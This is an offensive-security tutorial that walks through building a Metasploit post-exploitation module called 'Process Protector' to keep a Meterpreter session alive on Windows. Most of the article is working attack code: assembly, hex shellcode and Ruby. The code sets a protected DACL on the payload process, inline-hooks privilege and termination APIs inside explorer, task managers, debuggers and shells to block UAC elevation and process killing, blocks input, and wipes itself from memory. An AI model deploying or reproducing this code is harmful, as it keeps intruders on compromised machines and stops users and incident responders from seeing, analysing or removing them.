Throughout the Art of Anti Detection series we have mainly looked at methods for bypassing automated security products, but in this part we will focus on several self-defense methods for protecting our foothold on the target machines against actual users. These users may be technically insufficient employees or they may be blue team members in a cyber incident division of a company. Our goal is to stay alive and hide our presence inside the target system without having any privileges. But before getting deeper i advise you to read the previous articles of this series, because these methods will include a lot of shellcoding and API hooking thus requires prior knowledge. Now lets get to it !
Since we are generally using meterpreter for infiltrating systems our main goal will be constructing a post exploitation module for Metasploit. Once activated, our module should be able to protect the process containing our meterpreter payload against users interventions. Also while designing this module we will implement these self defense methods in both x86 and x64 shellcode form, this will allow us to deploy this self defense mechanism into other running processes. For starters we need to think about how can a user disrupt our session on the target system. The first obvious action is terminating the unknown/suspicious processes with several built-in tools. Our first trick will be about preventing the process termination. Thru out this article we will assume our meterpreter session has the same privileges with the user. Because this is the most likely scenario inside a corporate network. Majority of the user accounts of a company don’t have administrative privileges. We will try to use this as a advantage by abusing certain logic inside Windows. So this module should be able to work without escalating privileges. Because of the major difference in Windows user account controls (UAC) we will consider different strategies for different Windows versions.
Protect Process
The first trick will be targeting Windows versions 7 and before. Despite being 10 years old Windows 7 is still being used heavily around the world. Inside these versions non-admin users are able to create protected processes, this causes a weird situation where a user creates a process that can not be terminated by the creator. When a process is protected only administrator users can manipulate it. When a non-admin user tries to terminate a protected process following error pops up,
Also this is not just for process termination all actions regarding opening a handle to the protected process is prohibited. In order to protect a process we need to set a special security descriptor. According to MSDN security descriptor structure contains the security information associated with an object. Such as;
- An owner security identifier (SID)
- A primary group SID
- A discretionary access control list (DACL)
- A system access control list (SACL)
- Qualifiers for the preceding items
typedef struct _SECURITY_DESCRIPTOR { BYTE Revision; BYTE Sbz1; SECURITY_DESCRIPTOR_CONTROL Control; PSID Owner; PSID Group; PACL Sacl; PACL Dacl; } SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;
These structures can be represented with Security Descriptor String Format which is a text format for storing or transporting information in a security descriptor. The format is a null-terminated string with tokens to indicate each of the four main components of a security descriptor: owner (O:), primary group (G:), DACL (D:), and SACL (S:).
O:owner_sid
G:group_sid
D:dacl_flags(string_ace1)(string_ace2)... (string_acen)
S:sacl_flags(string_ace1)(string_ace2)... (string_acen)
For protecting a process we need to set “D:P” witch corresponds as setting the SE_DACL_PROTECTED flag. In order to set such flags inside the SECURITY_DESCRIPTOR of a process we need to use particular Windows API functions. First we need to convert the string security descriptor format to a proper security descriptor structure. In order to do this we will call the ConvertStringSecurityDescriptorToSecurityDescriptorA function. This function takes the following parameters.
BOOL ConvertStringSecurityDescriptorToSecurityDescriptorA( LPCSTR StringSecurityDescriptor, DWORD StringSDRevision, PSECURITY_DESCRIPTOR *SecurityDescriptor, PULONG SecurityDescriptorSize );
As shown above there needs to be a already declared security descriptor structure for setting the new one. We will first declare a SECURITY_ATTRIBUTES structure witch will contain our SECURITY_DESCRIPTOR.
SECURITY_ATTRIBUTES sa; TCHAR * szSD = TEXT("D:P"); sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = FALSE; ConvertStringSecurityDescriptorToSecurityDescriptor(szSD,SDDL_REVISION_1, &(sa.lpSecurityDescriptor)
After converting the string security descriptor into the SECURITY_ATTRIBUTES structure now we need to get the process handle that we want to protect.
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
And finally we will call the SetKernelObjectSecurity , this function sets the security of a kernel object. After setting the prepared security descriptor our process finally be safe from savage users 😉 Now we need to convert this series of API calls to shellcode. Besides the creation of a SECURITY_ATTRIBUTES structure there is nothing tricky about this. We will perform total of 4 API calls with at most 4 parameter. Based on our shellcoding article it should be no problem constructing such shellcodes. Only tricky part is the creation of SECURITY_ATTRIBUTES structure because you need to calculate the total size of the structure in bytes and replicate the values stored inside upon first creation. For making things easier compile the code written in C and then use a debugger to inspect the SECURITY_ATTRIBUTES structure.
In x86 systems this structure is 12 bytes long, at x64 systems this size doubles. Resulting assembly code should be looking like this;
; x86 ConvertStringSecurityDescriptorToSecurityDescriptor call push 0x00503a44 ; "D:P" sub esp,4 ; Push the address of "D:P" string to stack push 0x00000000 ; FALSE lea eax, [esp+4] ; Load the address of 4 byte buffer to EAX push eax ; Push the 4 byte buffer address push 0x00000001 ; SDDL_REVISION_1 lea eax, [esp+16] ; Load the address of "D:P" string to EAX push eax ; Push the EAX value push 0xDA6F639A ; hash(advapi32.dll, ConvertStringSecurityDescriptorToSecurityDescriptor) call ebp ; ConvertStringSecurityDescriptorToSecurityDescriptor("D:P",SDDL_REVISION_1,FALSE)
Rest of the shellcoding should be easier. There is one more tiny detail that we need to consider. We are going to use the execute_shellcode function of Metasploit framework. This function simply injects shellcode to a process, and executes it by opening a remote thread. After the execution our shellcode needs to call the appropriate functions for terminating the thread properly. This means we need to append the block_exitfunk.asm code at the end of all our shellcodes. This block determines the current windows version and calls the appropriate exit functions accordingly.
[BITS 64] exitfunk: mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) call rbp ; GetVersion(); (AL will = major version and AH will = minor version) add rsp, 40 ; cleanup the default param space on stack cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 jl short goodbye ; Then just call the exit function... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne short goodbye ; mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread goodbye: ; We now perform the actual call to the exit function push byte 0 ; pop rcx ; set the exit function parameter mov r10d, ebx ; place the correct EXITFUNK into r10d call rbp ; call EXITFUNK( 0 );
Here is the complete x86 and x64 shellcodes for this method. But this method only solves the half of our process termination problems. Users with administrative privileges can still terminate protected processes with running process termination tools as admin. Thus our second trick should be preventing UAC elevation for users.
Prevent Elevation
In order to prevent elevation of privileges we need to understand how can a process acquire certain privileges. When a process needs to perform some task witch requires special privileges it needs to have the appropriate access token. Terminating or opening a handle to a protected process also requires certain tokens. There are several ways to obtain these access tokens, almost all of them includes the use of following two API functions;
First one is AdjustTokenPrivileges, This function enables or disables privileges in the specified access token. Almost all of the privileged operations witch requires token manipulation uses this API function.
BOOL AdjustTokenPrivileges( HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength );
Second important function is RtlSetDaclSecurityDescriptor, this function sets the DACL information of an absolute-format security descriptor, or if there is already a DACL present in the security descriptor, it is superseded.
NTSYSAPI NTSTATUS RtlSetDaclSecurityDescriptor( PSECURITY_DESCRIPTOR SecurityDescriptor, BOOLEAN DaclPresent, PACL Dacl, BOOLEAN DaclDefaulted );
In theory if we could find a way to disable those two functions inside a process it simply can’t change its token privileges thus can’t perform privileged operations. In order to disable those two functions inside a remote process we need to use inline API hooking. The reason we are using inline hooking is because of our targets are mainly going to be the system processes such as task manager. Instead of using the function addresses inside the import address table those system binaries dynamically load the required API functions in run-time. Thus patching the IAT entries (IAT hooking) will not work for us, we need to be able to redirect or patch those functions directly. In order to achieve this we need to use a inline hook assembly block. This block patches the first couple of bytes of the function prologue allowing us to redirect the function elsewhere or return any value. In our case we need it to return true. While assembling this block it requires a binary file called patch which is containing the assembled instruction that will be written to the beginning of the function. For returning true from these functions following instructions should be placed;
; x64 return 0 db 0x48,0x31,0xc0 ; xor rax,rax db 0xc3 ; ret ; x86 return 0 db 0x32,0xc0 ; xor eax,eax db 0xc3 ; ret
Now this block will patch the function with the given hash and make it return zero. Once this shellcode executed inside a process any token elevation attempts will return false thus the process will not be able to escalate privileges.
BlockInput
This one is a minor detail. Our meterpreter payload may be running inside a application with a graphical user interface, this can mean there may be several buttons for terminating the application. With calling the BlockInput API function we will prevent all keyboard and mouse input events from reaching the application that is hosting our payload.
Self Removal
This is one of the most important issues for developing this module. I didn’t specify any particular method for calling API functions, it can be done in several ways but the easier way is to use the Metasploit block API. But using the block API has a high change of getting detected by security products. While trying to maintain our presence and stay alive we also need to remove all suspicious shellcode from the memory especially the block API. So after we finish protecting our process and hooking others, we need to setup a prologue that will wipe the shellcode from the memory. But this task is a bit tricky because in order to terminate our thread we need to call the appropriate API function. And to call functions we also need the block API. This situation forces us to first gather the required termination function address then wipe the shellcode from memory. Resulting shellcode should look like this;
push 0x0000006c ; 0x00,l push 0x6c642e6c ; ld.l push 0x6c64746e ; ldtn push esp ; &"ntdll.dll" push 0x0726774C ; hash("KERNEL32.dll", "LoadLibraryA") call ebp ; LoadLibraryA("ntdll.dll") push 0x00000064 ; 0x00,d push 0x61657268 ; aerh push 0x54726573 ; Tres push 0x55746978 ; Utix push 0x456c7452 ; EltR push esp ; &"RtlExitUserThread" push eax ; HANDLE (KERNEL32.dll) push 0x7802F749 ; hash("KERNEL32.dll", "GetProcAddress") call ebp ; GetProcAddress(HANDLE, "RtlExitUserThread") mov ebp,eax ; Save the RtlExitUserThread address to EDI ; PEB manipulation xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found) mov ebx,[fs:eax+0x30] ; Get a pointer to the PEB mov ebx,[ebx+0x0C] ; Get PEB->Ldr mov eax,[ebx + 0x0C] ; InOrderModuleList mov dword [eax+0x20],0xFFFFFF ; SizeOfImage ; Wipe self defense shellcode total_size: equ $-self_defense ; Set the size of the self defense shellcode to total_size label mov ecx,total_size ; Move the total size of the self defense shellcode to ECX call $+5 pop eax clean: mov byte [eax],0x00 ; Wipe 1 byte dec eax ; Increase index loop clean ; Loop until all shellcode cleared from memory push 0x00 ; NULL call ebp ; RtlExitUserThread(0)
For some security products removing the shellcode from memory might not be enough. Designing a metamorphic encoder schema can also be very helpful. I will not include the encoding part in this article for keeping it short. After writing the self removal prologue now we merge all of them together and the final x86 and x64 self defense shellcodes are ready for action. Before continuing to the Metasploit module we also need a solution for Windows versions where our process protection trick don’t work.
Prevent Termination
Without our protected processes Windows 8/10 users can directly terminate our sessions. What can be done in such situations ? After little thinking the obvious answer comes into mind, MORE HOOKING 😀 We can simply disable all process termination APIs inside all programs that are capable of terminating a process. But we also need to protect our payload from being analysed. Debuggers and any kind of monitoring tools also shouldn’t be able to attach to our process. All those can be achieved with hooking the OpenProcess API. Because of OpenProcess being a very fundamental function the process we inject will be crippled in several ways. Some programs crashes once OpenProcess call fails. This can be done in a more safe and stealthy way. I chose this because of laziness 🙂 However this solves our process termination problem. We can use the previous hook shellcode for this. Only thing that needs to be changed is the function hashes that are passed to the inline hook block. After adding this our shellcoding phase ends.
Metasploit Module
Now we need to construct the MSF post module that will inject our shellcodes into appropriate processes. Lets start by choosing a post exploit module template to work on. Our module will not take any mandatory parameter. There will be two optional parameters called PID and LOOP. This module should be able to protect other processes that are not hosting our meterpreter payload. PID parameter will specify the process ID to inject our shellcodes. And LOOP parameter will specify if the module runs continuously. Following template sets the required post exploit class and metadata.
class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Process def initialize(info = {}) super(update_info(info, 'Name' => 'Process Protector', 'Description' => %q{ This module will protect the given process with injecting special shellcodes and disabling key API functions using inline hooking. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ege Balcı' ], 'Platform' => [ 'win'], 'SessionTypes' => [ 'meterpreter'] )) register_options([ OptString.new('PID', [false, 'The target process ID for the UAC elevation.' ]), OptBool.new('LOOP', [false, 'Continiously check running processes for elevation prevention.' ]), ]) end end
After declaring the initial metadata and classes now we will construct the run method. First we need to check whether the session is a meterpreter session.
# Make sure we meet the requirements before running the script, note no need to return # unless error return 0 if session.type != "meterpreter"
After checking the session type now we’ll check if a special PID value is specified. If not this module should target the process containing our meterpreter session. We can do this with following simple check, every post module in Metasploit has a client class. According to ruby documentations this class provides an interface that is compatible with the Rex post-exploitation interface in terms of the feature set that it attempts to expose. This class is meant to drive a single meterpreter client session. By calling client.sys.process.getpid we can acquire the current process ID of the process holding our session.
if datastore['PID'].to_s == '' pid = client.sys.process.getpid.to_i else pid = datastore['PID'].to_i end
For not repeating the use of block API in out shellcodes we will declare once and use them in all shellcodes. Actually Metasploit already has a mechanism for generating block_api.asm built inside. But because of laziness i directly declared the assembled block_api.asm inside the module.
# https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm block_api_32 = "" block_api_32 << "\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c" # SNIP ... block_api_32 << "\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" block_api_32 << "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d" # https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/block/block_api.asm block_api_64 = "" block_api_64 << "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48" # SNIP ... block_api_64 << "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a" block_api_64 << "\x48\x8b\x12\xe9\x4f\xff\xff\xff"
Looks pretty ugly i know 😀 If you know a better way to generate block API in post exploit modules let me know. I also assembled and declared the shellcodes that we prepared in the same way.
prevent_elevate_32 = "" prevent_elevate_32 << "\xfc\xe8\xb6\x00\x00\x00\x5b\xe8\x2f\x00\x00\x00" prevent_elevate_32 << "\x89\xc6\x68\x10\xe1\x8a\xc3\xe8\x23\x00\x00\x00" # SNIP ... prevent_elevate_32 << "\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51" prevent_elevate_32 << "\xc3\x5f\x5f\x5a\x8b\x12\xeb\x8e\x5d\x68\x2d\xf9" prevent_elevate_32 << "\x7f\xe5\xff\xd5\x68\x75\x1f\x0a\x33\xff\xd5\xe8" prevent_elevate_32 << "\x82\x00\x00\x00" prevent_elevate_32 << block_api_32 prevent_elevate_32 << "\x5d\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd" prevent_elevate_32 << "\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05" prevent_elevate_32 << "\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" prevent_elevate_64 = "" prevent_elevate_64 << "\xfc\xe8\x16\x01\x00\x00\x5b\xe8\x49\x00\x00\x00" prevent_elevate_64 << "\x48\x83\xc4\x20\x48\x89\xc6\x41\xba\x10\xe1\x8a" prevent_elevate_64 << "\xc3\xe8\x37\x00\x00\x00\x48\x83\xc4\x20\x6a\x00" prevent_elevate_64 << "\x49\x89\xe1\x41\xb8\x40\x00\x00\x00\xba\x04\x00" prevent_elevate_64 << "\x00\x00\x48\x89\xf1\xff\xd0\x58\xe8\x04\x00\x00" prevent_elevate_64 << "\x00\x48\x31\xc0\xc3\x5a\xb9\x04\x00\x00\x00\x8a" prevent_elevate_64 << "\x02\x88\x06\x48\xff\xc6\x48\xff\xc2\xe2\xf4\x53" prevent_elevate_64 << "\xc3\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65" # SNIP ... prevent_elevate_64 << "\xf9\x7f\xe5\xff\xd5\x41\xba\x75\x1f\x0a\x33\xff" prevent_elevate_64 << "\xd5\xe8\xc8\x00\x00\x00" prevent_elevate_64 << block_api_64 prevent_elevate_64 << "\x5d\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95" prevent_elevate_64 << "\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a" prevent_elevate_64 << "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00" prevent_elevate_64 << "\x59\x41\x89\xda\xff\xd5" self_defense_64 = "" self_defense_64 << "\xfc\xe8\xc8\x00\x00\x00" self_defense_64 << block_api_64 self_defense_64 << "\x5d\x41\xba\x49\x47\xc6\x62\xff\xd5\x49" self_defense_64 << "\x89\xc0\xba\x00\x00\x00\x00\xb9\xff\x00\x1f\x00" self_defense_64 << "\x41\xba\xee\x95\xb6\x50\xff\xd5\x48\x89\xc3\x6a" # SNIP ... self_defense_64 << "\x78\x69\x74\x55\x50\x48\x89\xe2\x41\xba\x49\xf7" self_defense_64 << "\x02\x78\xff\xd5\x48\x89\xc5\xe8\x00\x00\x00\x00" self_defense_64 << "\x58\xb9\xb7\x01\x00\x00\xc6\x00\x00\x48\xff\xc8" self_defense_64 << "\xe2\xf8\x6a\x00\xff\xd5" self_defense_32= "" self_defense_32 << "\xfc\xe8\x82\x00\x00\x00" self_defense_32 << block_api_32 self_defense_32 << "\x5d\x68\x49\x47\xc6\x62\xff\xd5" self_defense_32 << "\x50\x6a\x00\x68\xff\x0f\x1f\x00\x68\xee\x95\xb6" self_defense_32 << "\x50\xff\xd5\x89\xc3\x6a\x00\x68\x70\x69\x33\x32" # SNIP ... self_defense_32 << "\x5b\x0c\x8b\x43\x0c\xc7\x40\x20\xff\xff\xff\x00" self_defense_32 << "\xb9\x44\x01\x00\x00\xe8\x00\x00\x00\x00\x58\xc6" self_defense_32 << "\x00\x00\x48\xe2\xfa\x6a\x00\xff\xd5"
After declaring the shellcodes now we need to walk all processes and inject our shellcodes into the ones that may cause us trouble. Following code loops true all the processes and injects the shellcode that hooks the AdjustTokenPrivileges and RtlSetDaclSecurityDescriptor APIs. We use the client.sys.process.processes method for accessing the process information on target machine. If the process name is explorer.exe or any of the analysis tools we declared at the top it will inject our shellcode by calling execute_shellcode function.
analysis_tools =['taskmgr.exe','procexp64.exe','ida.exe','ida64.exe','windbg.exe','x32dbg.exe','ollydbg.exe','tasklist.exe','cmd.exe','powershell.exe','cheatengine-x86_x64.exe'] os = client.sys.config.sysinfo['OS'] print_status("Target OS -> #{os}") client.sys.process.processes.each do |p| begin # Check Payload Arch if 'explorer.exe' === p['name'].to_s.downcase or analysis_tools.include? p['name'].to_s.downcase print_status("Hooking RtlSetDaclSecurityDescriptor on #{p['name']} (#{p['arch']})") print_status("Hooking AdjustTokenPrivileges on #{p['name']} (#{p['arch']})") if 'x64' === p['arch'].to_s execute_shellcode(prevent_elevate_64,nil,p['pid'].to_i) else execute_shellcode(prevent_elevate_32,nil,p['pid'].to_i) end print_good("UAC elevation disabled for #{p['name']}") end rescue => e print_error("API hooking failed: #{e}") end end
Now we need to consider the case if the running OS version is above Windows 7. We can simply check this with accessing the client.sys.config.sysinfo[‘OS’] structure. We will check the version string and decide if we will use the protect process method or keep hooking APIs. If we need to hook the NtOpenProcess and TerminateProcess APIs we can simply change the function name hashes inside the API hooking shellcode.
if os.to_s.include? "Windows 7" or os.to_s.include? "Windows XP" or os.to_s.include? "2008" client.sys.process.processes.each do |p| # Check Payload Arch if pid.to_i === p['pid'].to_i print_status('Injecting self defense shellcode...') if 'x64' === p['arch'].to_s execute_shellcode(self_defense_64,nil,pid) else execute_shellcode(self_defense_32,nil,pid) end end end print_good('Self defense active !') else # Set NtOpenProcess & TerminateProcess hashes prevent_terminate_64 = prevent_elevate_64.sub! "\x2D\xF9\x7F\xE5", "\x87\xDC\xCA\x5E" prevent_terminate_32 = prevent_elevate_32.sub! "\x2D\xF9\x7F\xE5", "\x87\xDC\xCA\x5E" prevent_terminate_64 = prevent_elevate_64.sub! "\x75\x1F\x0A\x33", "\xA3\x9D\xA1\x23" prevent_terminate_32 = prevent_elevate_32.sub! "\x75\x1F\x0A\x33", "\xA3\x9D\xA1\x23" hooked = "" while 1 client.sys.process.processes.each do |p| # Check Payload Arch if analysis_tools.include? p['name'].to_s.downcase print_status("Hooking TerminateProcess on #{p['name']} (#{p['arch']} - #{p['pid']})") print_status("Hooking NtOpenProcess on #{p['name']} (#{p['arch']} - #{p['pid']})") begin if 'x64' === p['arch'].to_s execute_shellcode(prevent_terminate_64,nil,p['pid'].to_i) else execute_shellcode(prevent_terminate_32,nil,p['pid'].to_i) end hooked << p['pid'].to_s+',' print_good("Process termination disabled for #{p['name']}") rescue => e print_error("API hooking failed: #{e}") end end end if not datastore['LOOP'] break end end end
While replacing the function hashes remember the endianness issue, hash values will be stored in reverse order. When you look at the source above you’ll notice execute_shellcode function is called inside a while condition that is depending on the LOOP parameter of our post module. This mechanism is necessary because when users create a new task manager process after the execution of our module that process will still able to terminate other processes. So we need a mechanism for continuously injecting our anti process termination shellcode into newly created processes. This is needed only for anti process termination shellcode because other ones are injected into explorer and our own process, it very is unlikely for a user to relaunch explorer. And finally this was the last part of our post module. Here is the final self_defense.rb module. It can be added to Metasploit by simply moving under the ~/.msf4/modules/post/windows directory. Here what it looks like step by step.
First we execute our meterpreter payload.
After initiating the session we execute our module by typing run post/windows/self_defense.
Now our payload is protected and users are not able to run programs as admin.
This module can be improved in various ways, especially instead of directly disabling the OpenProcess API there can be a simple mechanism that checks the handle parameter and disables only when our process handle is passed to the function. Also instead of hard-coding our shellcodes into the modules source there can be a more dynamic way to generate them. Especially integrating the Metasploit’s payload encoding capabilities can allow us to generate unique shellcodes on every execution. I’ll be adding new self defense shellcodes to the repositories. Please feel free to contribute to self defense module and shellcodes.
Referances
- https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
- https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
- https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-rtlsetdaclsecuritydescriptor
- https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-blockinput
- https://www.rubydoc.info/github/rapid7/metasploit-framework/Rex/Post/Meterpreter/Client
- https://docs.microsoft.com/en-us/windows/win32/api/sddl/nf-sddl-convertstringsecuritydescriptortosecuritydescriptora
- https://docs.microsoft.com/tr-tr/windows/win32/secauthz/security-descriptor-string-format
- https://docs.microsoft.com/tr-tr/windows/win32/secgloss/s-gly
- https://docs.microsoft.com/tr-tr/windows/win32/secgloss/d-gly